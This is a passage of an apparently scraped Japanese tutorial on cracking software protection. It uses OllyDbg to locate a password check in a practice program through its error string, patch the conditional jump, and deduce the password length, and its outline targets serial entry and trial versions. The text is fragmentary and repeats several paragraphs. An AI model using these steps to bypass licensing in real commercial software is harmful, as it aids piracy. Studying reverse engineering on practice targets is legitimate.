※ アナライザーとは、ウィルスチェックと同じくパターンチェックをしてるだけで、 パターンが登録されてなければ判別できません。最新版を入手しましょう。

文字列「登録」で検索

では、文字列「パスワード」で検索

Unicode文字列を探す設定にします。

文字列「登録」で検索

※ 倍直だとしてもキーワードから正規パスが離れている場合も有ります。バイナリエディタ(2進編集器)とは和製英語で、正式にはヘックエディタ(HexEditor)です。

パッチ(Patch)とは、ソフトウェアを修正する差分情報のことです。

パッチャーに読込む形式として

ではFireFlower3 を起動してみましょう。

「Options」→「Appearance」→「Fonts」

「Options」→「Appearance」→「General」

OllyDbg を利用して 練習１ をやってみましょう！

解析の流れとして

ここでは文字列から処理ルーチンを探してみましょう。

これは、実行ファイルがメモリ内部に展開されて、メモリ全体を一つの町とすると、各大字(セグメント)のようすを表しています。

各部分で表示形式を変化することができ、コードとレジスタ部が大切です。

「パスワードが違います！！」とのメッセージが出てしまいました。今回は、このメッセージから処理ルーチンを探すのが目的です。

今回は、文字列が二つしかありませんが本来はかなりの文字列があるもので、通常は「右クリック」→「Search for text」で文字列「パスワードが違います！！」をさらに検索します。

004010D6 の GetDlgItemTextA で文字を得

004010FD の CALL から戻ったときEAXの値が変化すれば正解のようです。CALL の後 TESTしてジャンプは定番です。

試しに実行してみます。「F9」ボタンを押してみます。

うまくいきました、しかし、これはメモリ上の変化で試したのであって、実際のファイルは換わってません。換えるためにパッチをつくりましょう。

パッチはこうなります。

ところでパスワードは？

つまり、パスワードを４バイト(半角なら４文字、全角なら２文字)だけ比較してることになります。 ここでは、３回処理してますからパスワードは半角なら１２文字、全角なら６文字です。

解析講座アプリ系

　A　シリアルを入力出来るもの

　B　シリアルを入力出来ない体験版

　C　特別なファイル、ソフトが必要なもの

※ アナライザーとは、ウィルスチェックと同じくパターンチェックをしてるだけで、パターンが登録されてなければ判別できません。最新版を入手しましょう。

※ 倍直だとしてもキーワードから正規パスが離れている場合も有ります。
バイナリエディタ(2進編集器)とは和製英語で、正式にはヘックエディタ(HexEditor)です。

OllyDbg を利用して練習１をやってみましょう！

これは、実行ファイルがメモリ内部に展開されて、メモリ全体を一つの町とすると、
各大字(セグメント)のようすを表しています。

「パスワードが違います！！」とのメッセージが出てしまいました。
今回は、このメッセージから処理ルーチンを探すのが目的です。

今回は、文字列が二つしかありませんが本来はかなりの文字列があるもので、
通常は「右クリック」→「Search for text」で文字列「パスワードが違います！！」をさらに検索します。

004010FD の CALL から戻ったときEAXの値が変化すれば正解のようです。
CALL の後 TESTしてジャンプは定番です。

うまくいきました、しかし、これはメモリ上の変化で試したのであって、
実際のファイルは換わってません。換えるためにパッチをつくりましょう。

つまり、パスワードを４バイト(半角なら４文字、全角なら２文字)だけ比較してることになります。ここでは、３回処理してますからパスワードは半角なら１２文字、全角なら６文字です。